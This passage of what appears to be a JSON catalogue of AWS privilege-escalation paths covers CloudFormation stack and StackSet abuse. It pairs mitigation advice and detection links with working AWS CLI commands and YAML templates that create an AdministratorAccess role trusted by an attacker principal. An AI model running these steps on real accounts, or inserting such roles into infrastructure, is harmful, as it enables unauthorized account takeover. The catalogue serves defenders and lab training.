          "id": "update_template",
          "label": "Update Stack Template",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker modifies the stack template to add a new IAM role resource with administrative permissions and a trust policy allowing the attacker to assume it. The modified template is then applied to the stack using `cloudformation:UpdateStack`.\n\nThe new IAM role typically includes:\n- `AssumeRolePolicyDocument` with trust policy allowing the attacker's principal to assume it\n- `ManagedPolicyArns` including arn:aws:iam::aws:policy/AdministratorAccess\n- Or inline policies granting administrative permissions\n\nThis appears as legitimate infrastructure management activity, making it harder to detect than direct IAM modifications.\n"
        },
        {
          "id": "new_admin_role",
          "label": "Newly Created Admin Role",
          "type": "principal",
          "description": "The new IAM role created by the CloudFormation stack update. This role has administrative permissions (AdministratorAccess or equivalent) and a trust policy that allows the starting principal to assume it. The role is created using the stack's administrative service role permissions, bypassing the starting principal's limited IAM permissions.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The attacker successfully assumes the newly created admin role and gains full administrative access to the AWS account. The privilege escalation is complete.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_stack",
          "label": "cloudformation:UpdateStack",
          "description": "The attacker identifies a CloudFormation stack with an administrative service role and uses `cloudformation:UpdateStack` to modify the stack template. This requires permission to update the specific stack.\n\nFirst, identify target stacks with elevated service roles:\n```bash\naws cloudformation describe-stacks \\\n  --stack-name TARGET_STACK_NAME \\\n  --query 'Stacks[0].[StackName,StackStatus,RoleARN]'\n```\n\nThen retrieve the current template:\n```bash\naws cloudformation get-template \\\n  --stack-name TARGET_STACK_NAME \\\n  --query 'TemplateBody'\n```\n"
        },
        {
          "from": "existing_stack",
          "to": "stack_role",
          "label": "Stack uses service role",
          "description": "The CloudFormation stack is configured to use an administrative IAM role as its service role. All resource creation, modification, and deletion operations performed by the stack execute with this role's permissions. This is the key to the privilege escalation - the attacker leverages the stack's elevated permissions to create resources they couldn't create directly.\n"
        },
        {
          "from": "stack_role",
          "to": "update_template",
          "label": "Modify template",
          "description": "The attacker creates a modified version of the stack template that adds a new IAM role resource with administrative permissions. The new role includes a trust policy allowing the attacker's principal to assume it.\n\nExample IAM role resource to add to template:\n```yaml\nEscalatedAdminRole:\n  Type: AWS::IAM::Role\n  Properties:\n    RoleName: escalated-admin-role\n    AssumeRolePolicyDocument:\n      Statement:\n        - Effect: Allow\n          Principal:\n            AWS: arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USER\n          Action: sts:AssumeRole\n    ManagedPolicyArns:\n      - arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "from": "update_template",
          "to": "new_admin_role",
          "label": "Stack creates new admin role",
          "description": "Update the stack with the modified template. The stack's administrative service role executes the template and creates the new IAM role with admin permissions.\n\nCommand:\n```bash\naws cloudformation update-stack \\\n  --stack-name TARGET_STACK_NAME \\\n  --template-body file://modified-template.json \\\n  --capabilities CAPABILITY_NAMED_IAM\n```\n\nWait for the update to complete:\n```bash\naws cloudformation wait stack-update-complete \\\n  --stack-name TARGET_STACK_NAME\n```\n\nThe `--capabilities CAPABILITY_NAMED_IAM` flag is required when the template creates IAM resources with custom names.\n"
        },
        {
          "from": "new_admin_role",
          "to": "admin_outcome",
          "label": "sts:AssumeRole",
          "description": "The attacker assumes the newly created admin role using `sts:AssumeRole`. The role's trust policy explicitly allows the attacker's principal to assume it, and the role has administrative permissions.\n\nCommand:\n```bash\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/escalated-admin-role \\\n  --role-session-name escalation-session\n```\n\nConfigure the AWS CLI with the temporary credentials from the assume-role response, then verify administrative access:\n```bash\naws iam list-users\n```\n\nThe attacker now has full administrative access to the AWS account.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-21T03:34:07Z",
      "lastUpdated": "2026-02-13T11:28:37Z",
      "contributors": [
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/cloudformation/cloudformation-002.yaml"
  },
  {
    "id": "cloudformation-003",
    "name": "iam:PassRole + cloudformation:CreateStackSet + cloudformation:CreateStackInstances",
    "category": "new-passrole",
    "services": [
      "iam",
      "cloudformation"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L175",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L189"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must have permission to pass a privileged execution role to CloudFormation StackSets"
        },
        {
          "permission": "cloudformation:CreateStackSet",
          "resourceConstraints": "Must have permission to create new CloudFormation StackSets"
        },
        {
          "permission": "cloudformation:CreateStackInstances",
          "resourceConstraints": "Must have permission to deploy stack instances from the StackSet"
        }
      ],
      "additional": [
        {
          "permission": "cloudformation:DescribeStackSet",
          "resourceConstraints": "Helpful for monitoring StackSet creation progress and verifying configuration"
        },
        {
          "permission": "cloudformation:DescribeStackSetOperation",
          "resourceConstraints": "Useful for checking the status of StackSet operations and waiting for completion"
        },
        {
          "permission": "cloudformation:ListStackInstances",
          "resourceConstraints": "Helpful for listing deployed stack instances"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Useful for discovering available privileged roles to pass to StackSets"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Helpful for examining role policies to understand what resources can be created"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `cloudformation:CreateStackSet`, and `cloudformation:CreateStackInstances` can escalate privileges by creating a CloudFormation StackSet with a privileged execution role and then deploying stack instances to execute the malicious template. CloudFormation StackSets use a two-step process - `CreateStackSet` defines the template and configuration but does not actually deploy any resources, while `CreateStackInstances` deploys the StackSet to specific target accounts and regions, which triggers the actual resource creation. Both permissions are required for the attack - without `CreateStackInstances`, the StackSet remains just a definition and no malicious resources are created. StackSets use two roles - an administration role (used by the CloudFormation service) and an execution role (used to perform the actual resource creation in each target account). When an attacker passes a privileged execution role and deploys stack instances, they gain the ability to create any AWS resources that execution role has permissions for by defining those resources in the template. This commonly includes IAM resources such as roles with elevated permissions and trust policies allowing the attacker to assume them, effectively enabling the attacker to inherit the execution role's privileges and gain administrative access to the target accounts.",
    "prerequisites": {
      "admin": [
        "A privileged IAM role must exist that can be passed as a StackSet execution role",
        "The execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "An administration role must exist that trusts cloudformation.amazonaws.com and has permissions to assume the execution role"
      ],
      "lateral": [
        "A privileged IAM role must exist that can be passed as a StackSet execution role",
        "The execution role must have elevated permissions to create the desired resources",
        "An administration role must exist for StackSet operations"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam list-roles \\\n  --query 'Roles[*].{Name:RoleName,Arn:Arn}' \\\n  --output table\n",
          "description": "List available IAM roles to identify potential execution roles with elevated permissions that can be passed to StackSets"
        },
        {
          "step": 2,
          "command": "aws iam get-role \\\n  --role-name EXECUTION_ROLE_NAME \\\n  --query 'Role.{AssumeRolePolicy:AssumeRolePolicyDocument,AttachedPolicies:AttachedManagedPolicies}'\n",
          "description": "Examine the execution role's trust policy and attached policies to verify it can be passed to CloudFormation and understand what resources it can create"
        },
        {
          "step": 3,
          "command": "cat > template.yaml << 'EOF'\nAWSTemplateFormatVersion: '2010-09-09'\nDescription: 'Template defining resources to be created by StackSet'\nResources:\n  # Define AWS resources that the execution role has permissions to create\n  # Commonly IAM roles, policies, or other privileged resources\nEOF\n",
          "description": "Create a CloudFormation template defining the resources to be created. The template should include resources that provide privilege escalation, such as IAM roles with trust policies allowing you to assume them"
        },
        {
          "step": 4,
          "command": "aws cloudformation create-stack-set \\\n  --stack-set-name escalation-stackset \\\n  --template-body file://template.yaml \\\n  --administration-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --execution-role-name EXECUTION_ROLE_NAME \\\n  --capabilities CAPABILITY_NAMED_IAM\n",
          "description": "Create a CloudFormation StackSet, passing the privileged execution role via iam:PassRole. The StackSet will use this role's permissions when deploying stack instances"
        },
        {
          "step": 5,
          "command": "aws cloudformation create-stack-instances \\\n  --stack-set-name escalation-stackset \\\n  --accounts ACCOUNT_ID \\\n  --regions REGION \\\n  --operation-preferences FailureToleranceCount=0,MaxConcurrentCount=1\n",
          "description": "Deploy a stack instance from the StackSet to the target account and region. The execution role will create the resources defined in the template"
        },
        {
          "step": 6,
          "command": "aws cloudformation describe-stack-set-operation \\\n  --stack-set-name escalation-stackset \\\n  --operation-id OPERATION_ID \\\n  --query 'StackSetOperation.Status'\n",
          "description": "Monitor the StackSet operation status until it shows SUCCEEDED, indicating the resources have been created"
        },
        {
          "step": 7,
          "command": "# Use the newly created resources to escalate privileges\n# For example, assume a newly created IAM role:\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/CREATED_ROLE \\\n  --role-session-name escalation-session\n",
          "description": "Leverage the newly created resources to escalate privileges, such as assuming a newly created IAM role with elevated permissions"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a CloudFormation StackSet need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificCloudFormationRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"cloudformation.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual CloudFormation StackSet creation followed by immediate resource deployment\n- Monitor CloudTrail for StackSet creation by principals who do not usually create StackSets\n- Monitor CloudTrail for roles being passed to CloudFormation that haven't been used before\n- Monitor and alert on CloudFormation StackSet creation with privileged roles\n- Regularly audit CloudFormation StackSets for excessive IAM permissions\n- Regularly audit all IAM roles that trust the CloudFormation service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed execution role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "cloudformation-004",
        "modification": "When creating a new StackSet with iam:passrole, you need to also have permission to CreateStackInstances."
      },
      "ultimateOrigin": {
        "pathId": "cloudformation-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation \u2013 Methods and Mitigation - Rhino Security Labs",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "How to implement the principle of least privilege with CloudFormation StackSets - AWS Security Blog",
        "url": "https://aws.amazon.com/blogs/security/how-to-implement-the-principle-of-least-privilege-with-cloudformation-stacksets/"
      },
      {
        "title": "Grant self-managed permissions - AWS CloudFormation Documentation",
        "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-prereqs-self-managed.html"
      }
    ],
    "relatedPaths": [
      "cloudformation-001",
      "cloudformation-002",
      "cloudformation-004"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+cloudformation-createstackset+cloudformation-createstackinstances",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `cloudformation:CreateStackSet`, and `cloudformation:CreateStackInstances` permissions. Can be an IAM user or role. This principal will create a StackSet and deploy stack instances to escalate privileges.\n"
        },
        {
          "id": "stackset",
          "label": "New CloudFormation StackSet",
          "type": "resource",
          "description": "A newly created CloudFormation StackSet that defines a template to be deployed across target accounts and regions. The StackSet is configured with both an administration role (used by the CloudFormation service to manage the StackSet) and an execution role (used to create resources in target accounts). The attacker controls the template content, allowing them to define any AWS resources that the execution role has permissions to create. Note that creating the StackSet alone does not deploy any resources - `CreateStackInstances` is required to actually provision resources.\n"
        },
        {
          "id": "execution_role",
          "label": "Existing Execution Role",
          "type": "principal",
          "description": "The privileged IAM role passed to the StackSet as the execution role. This role must exist in the target account(s) and is used by CloudFormation to create the resources defined in the template. The role's permissions determine what resources can be created and thus the extent of privilege escalation possible. The execution role must have an appropriate trust policy allowing CloudFormation to assume it.\n"
        },
        {
          "id": "template_execution",
          "label": "Template Executes and Creates Resources",
          "type": "payload",
          "color": "#99ccff",
          "description": "Stack instances are deployed using `cloudformation:CreateStackInstances`, which triggers the actual resource provisioning. The CloudFormation template executes in the target account(s) with the execution role's permissions. Common resources for privilege escalation include:\n\n- IAM roles with trust policies allowing the attacker to assume them\n- IAM users with access keys for the attacker\n- Lambda functions that execute privileged actions\n- IAM policies that grant elevated permissions to the starting principal\n- EC2 instances with User Data scripts that exfiltrate credentials\n\nExample template snippet for privilege escalation:\n```yaml\nResources:\n  PrivilegedRole:\n    Type: AWS::IAM::Role\n    Properties:\n      AssumeRolePolicyDocument:\n        Statement:\n          - Effect: Allow\n            Principal:\n              AWS: arn:aws:iam::ACCOUNT_ID:user/ATTACKER\n            Action: sts:AssumeRole\n      ManagedPolicyArns:\n        - arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThe attacker then leverages the newly created resources to escalate privileges.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the execution role has administrative permissions (AdministratorAccess or equivalent), the template successfully creates resources that grant the attacker full administrative access to the target account(s). The attacker can assume newly created privileged roles, use generated access keys, or leverage other resources to gain complete control.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the execution role has some elevated permissions but not full admin, the template creates resources that grant partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB), security configuration changes, or resources that enable additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the execution role only has minimal permissions, the template cannot create resources that provide meaningful privilege escalation. However, even limited access might be useful for reconnaissance or as part of a multi-hop attack chain.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "stackset",
          "label": "iam:PassRole + cloudformation:CreateStackSet",
          "description": "Create a new CloudFormation StackSet and pass the privileged execution role to it. The StackSet defines the template and configuration for deploying resources across accounts and regions.\n\nCommand:\n```bash\naws cloudformation create-stack-set \\\n  --stack-set-name escalation-stackset \\\n  --template-body file://template.yaml \\\n  --administration-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --execution-role-name EXECUTION_ROLE_NAME \\\n  --capabilities CAPABILITY_NAMED_IAM\n```\n\nThe template.yaml contains malicious resource definitions that will be created with the execution role's permissions. The `--capabilities CAPABILITY_NAMED_IAM` flag is required when creating IAM resources.\n"
        },
        {
          "from": "stackset",
          "to": "execution_role",
          "label": "StackSet configured with execution role",
          "description": "The StackSet is configured to use the execution role for all resource creation operations in target accounts. When stack instances are deployed, CloudFormation will assume this role to provision resources defined in the template.\n"
        },
        {
          "from": "execution_role",
          "to": "template_execution",
          "label": "cloudformation:CreateStackInstances",
          "description": "Deploy stack instances from the StackSet to target accounts and regions. This is when the actual resource provisioning occurs - the execution role's credentials are used by CloudFormation to create resources in each target location.\n\nCommand to create stack instances:\n```bash\naws cloudformation create-stack-instances \\\n  --stack-set-name escalation-stackset \\\n  --accounts ACCOUNT_ID \\\n  --regions REGION \\\n  --operation-preferences FailureToleranceCount=0,MaxConcurrentCount=1\n```\n\nMonitor deployment progress:\n```bash\naws cloudformation describe-stack-set-operation \\\n  --stack-set-name escalation-stackset \\\n  --operation-id OPERATION_ID \\\n  --query 'StackSetOperation.Status'\n```\n"
        },
        {
          "from": "template_execution",
          "to": "admin",
          "label": "If execution role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the template successfully creates resources that grant the attacker full control over the target account(s). For example, the template could create an IAM role with a trust policy allowing the attacker to assume it, or create an IAM user with access keys.\n\nExample follow-up command to assume newly created role:\n```bash\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/CREATED_ROLE \\\n  --role-session-name escalation-session\n```\n"
        },
        {
          "from": "template_execution",
          "to": "some_perms",
          "label": "If execution role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the template creates resources that grant partial privilege escalation. The attacker gains access to data, can modify security configurations, or obtains resources that enable additional attacks.\n"
        },
        {
          "from": "template_execution",
          "to": "no_access",
          "label": "If execution role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal or non-sensitive permissions, the template cannot create resources that provide meaningful privilege escalation. The attack may yield limited results, though reconnaissance information might still be valuable.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-21T03:34:07Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/cloudformation/cloudformation-003.yaml"
  },
  {
    "id": "cloudformation-004",
    "name": "iam:PassRole + cloudformation:UpdateStackSet",
    "category": "new-passrole",
    "services": [
      "iam",
      "cloudformation"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L181",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L194"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must have permission to pass the administration role to CloudFormation StackSets"
        },
        {
          "permission": "cloudformation:UpdateStackSet",
          "resourceConstraints": "Must have permission to update the target CloudFormation StackSet"
        }
      ],
      "additional": [
        {
          "permission": "cloudformation:DescribeStackSet",
          "resourceConstraints": "Helpful for viewing StackSet details and verifying configuration"
        },
        {
          "permission": "cloudformation:DescribeStackSetOperation",
          "resourceConstraints": "Useful for monitoring StackSet update operation progress"
        },
        {
          "permission": "cloudformation:GetTemplate",
          "resourceConstraints": "Useful for retrieving the current StackSet template to understand existing resources"
        },
        {
          "permission": "cloudformation:ListStackInstances",
          "resourceConstraints": "Helpful for identifying which accounts and regions have deployed stack instances"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Helpful for examining the execution role's policies to understand what resources can be created"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `cloudformation:UpdateStackSet` can escalate privileges by modifying an existing CloudFormation StackSet that has a privileged execution role. Both permissions are required for this attack - `cloudformation:UpdateStackSet` alone is insufficient because the UpdateStackSet API call requires passing the administration role ARN, which necessitates the `iam:PassRole` permission. CloudFormation StackSets deploy infrastructure across multiple AWS accounts and regions using an execution role in each target account to perform resource creation and modification. When an attacker can update a StackSet's template and pass the required administration role, they can add any AWS resources that the execution role has permissions to create. By adding IAM resources such as roles with elevated permissions and trust policies allowing the attacker to assume them, the attacker leverages the StackSet's execution role privileges to create resources they couldn't create directly. Once the updated template is deployed to stack instances, the attacker can assume the newly created resources to gain administrative access.",
    "prerequisites": {
      "admin": [
        "A CloudFormation StackSet must exist that the principal can update",
        "The StackSet must have an execution role with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The StackSet must have at least one stack instance deployed, or the principal must have permission to create stack instances"
      ],
      "lateral": [
        "A CloudFormation StackSet must exist that the principal can update",
        "The StackSet must have an execution role with elevated permissions to create the desired resources",
        "The StackSet must have deployed stack instances or the ability to deploy them"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws cloudformation list-stack-sets \\\n  --query 'Summaries[*].{Name:StackSetName,Status:Status}' \\\n  --output table\n",
          "description": "List available CloudFormation StackSets to identify targets that can be updated"
        },
        {
          "step": 2,
          "command": "aws cloudformation describe-stack-set \\\n  --stack-set-name TARGET_STACKSET \\\n  --query 'StackSet.{Name:StackSetName,Status:Status,AdminRole:AdministrationRoleARN,ExecRole:ExecutionRoleName}'\n",
          "description": "Describe the target StackSet to understand its configuration, including the administration role and execution role being used"
        },
        {
          "step": 3,
          "command": "aws cloudformation describe-stack-set \\\n  --stack-set-name TARGET_STACKSET \\\n  --query 'StackSet.TemplateBody' \\\n  --output text > current-template.yaml\n",
          "description": "Retrieve the current StackSet template to understand existing resources"
        },
        {
          "step": 4,
          "command": "# Modify the template to add resources that provide privilege escalation\n# Edit current-template.yaml to add IAM resources or other privileged resources\n# that the execution role has permissions to create\n",
          "description": "Modify the StackSet template to add resources that provide privilege escalation. Common additions include IAM roles with trust policies allowing you to assume them"
        },
        {
          "step": 5,
          "command": "aws cloudformation update-stack-set \\\n  --stack-set-name TARGET_STACKSET \\\n  --template-body file://modified-template.yaml \\\n  --administration-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --execution-role-name EXECUTION_ROLE_NAME \\\n  --capabilities CAPABILITY_NAMED_IAM\n",
          "description": "Update the CloudFormation StackSet with the modified template, passing the administration role via iam:PassRole. The StackSet will use the execution role's permissions when updating stack instances"
        },
        {
          "step": 6,
          "command": "aws cloudformation list-stack-instances \\\n  --stack-set-name TARGET_STACKSET \\\n  --query 'Summaries[*].{Account:Account,Region:Region,Status:Status}'\n",
          "description": "List the StackSet's stack instances to identify which accounts and regions will receive the updated template"
        },
        {
          "step": 7,
          "command": "aws cloudformation describe-stack-set-operation \\\n  --stack-set-name TARGET_STACKSET \\\n  --operation-id OPERATION_ID \\\n  --query 'StackSetOperation.Status'\n",
          "description": "Monitor the StackSet update operation status until it shows SUCCEEDED, indicating the updated resources have been deployed to stack instances"
        },
        {
          "step": 8,
          "command": "# Use the newly created resources to escalate privileges\n# For example, assume a newly created IAM role:\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/CREATED_ROLE \\\n  --role-session-name escalation-session\n",
          "description": "Leverage the newly created resources to escalate privileges, such as assuming a newly created IAM role with elevated permissions"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a CloudFormation StackSet need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificCloudFormationRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"cloudformation.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual CloudFormation StackSet updates followed by immediate resource creation\n- Monitor CloudTrail for StackSet updates by principals who do not usually update StackSets\n- Monitor CloudTrail for roles being passed to CloudFormation that haven't been used before\n- Monitor and alert on CloudFormation StackSet updates with privileged roles\n- Regularly audit CloudFormation StackSets for excessive IAM permissions\n- Regularly audit all IAM roles that trust the CloudFormation service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the StackSet's execution role has administrative permissions (e.g., AdministratorAccess policy). If the execution role has limited permissions, you gain access limited to whatever resources that role can create.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Hacktricks.cloud",
        "date": "Unknown"
      },
      "derivativeOf": {
        "pathId": "cloudformation-003",
        "modification": "Uses cloudformation:UpdateStackSet instead of cloudformation:CreateStackSet to modify an existing StackSet"
      },
      "ultimateOrigin": {
        "pathId": "cloudformation-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation - Methods and Mitigation (Rhino Security Labs)",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "How to implement the principle of least privilege with CloudFormation StackSets (AWS Security Blog)",
        "url": "https://aws.amazon.com/blogs/security/how-to-implement-the-principle-of-least-privilege-with-cloudformation-stacksets/"
      },
      {
        "title": "AWS IAM Privilege Escalation Techniques (HackingThe.Cloud)",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "AWS - Cloudformation Privesc (HackTricks Cloud)",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/index.html"
      },
      {
        "title": "AWS CloudFormation Service Role Documentation",
        "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html"
      },
      {
        "title": "Best practices for configuring identity-based policies for least-privilege CloudFormation access",
        "url": "https://docs.aws.amazon.com/prescriptive-guidance/latest/least-privilege-cloudformation/best-practices-identity-based-policies.html"
      }
    ],
    "relatedPaths": [
      "cloudformation-001",
      "cloudformation-002",
      "cloudformation-003"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole-cloudformation-updatestackset",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal (user or role) with `iam:PassRole` and `cloudformation:UpdateStackSet` permissions. This principal will modify an existing CloudFormation StackSet's template to execute malicious resources using the StackSet's privileged execution role.\n"
        },
        {
          "id": "existing_stackset",
          "label": "Existing CloudFormation StackSet",
          "type": "resource",
          "description": "An existing CloudFormation StackSet that the attacker can update. StackSets deploy infrastructure across multiple AWS accounts and regions using an execution role in each target account. The attacker modifies the StackSet's template to include resources that provide privilege escalation (like IAM roles with trust policies allowing the attacker to assume them).\n"
        },
        {
          "id": "execution_role",
          "label": "Existing StackSet Execution Role",
          "type": "principal",
          "description": "The IAM role in the target account(s) that CloudFormation StackSets uses to create and modify resources. This role must trust cloudformation.amazonaws.com. When the StackSet is updated, the execution role's permissions determine what resources can be created or modified. The execution role exists in each target account where stack instances are deployed.\n"
        },
        {
          "id": "execute_template",
          "label": "Execute Updated Template",
          "type": "payload",
          "color": "#99ccff",
          "description": "CloudFormation StackSets execute the updated template using the execution role's permissions in each target account. The malicious template creates AWS resources that grant the attacker elevated privileges. Common escalation resources include IAM roles with trust policies allowing the starting principal to assume them, IAM users with access keys, Lambda functions that modify IAM, or EC2 instances with User Data scripts.\n\nThe attacker monitors the StackSet operation status until resources are deployed:\n```bash\naws cloudformation describe-stack-set-operation \\\n  --stack-set-name TARGET_STACKSET \\\n  --operation-id OPERATION_ID \\\n  --query 'StackSetOperation.Status'\n```\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the execution role has administrative permissions (AdministratorAccess or equivalent), the updated template can create resources that grant the attacker full administrative access to the AWS account(s). For example, the template could create an IAM role with AdministratorAccess and a trust policy allowing the starting principal to assume it, or create an IAM user with admin permissions and access keys.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the execution role has some elevated permissions but not full admin, the updated template can create resources that grant partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB), Lambda functions with elevated permissions, or IAM resources that enable additional privilege escalation techniques. The attacker gains access through the newly created resources.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the execution role only has minimal permissions or no interesting permissions, the updated template cannot create resources that provide meaningful additional access to the attacker. The privilege escalation attempt provides limited value, though even restricted access could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_stackset",
          "label": "iam:PassRole + cloudformation:UpdateStackSet",
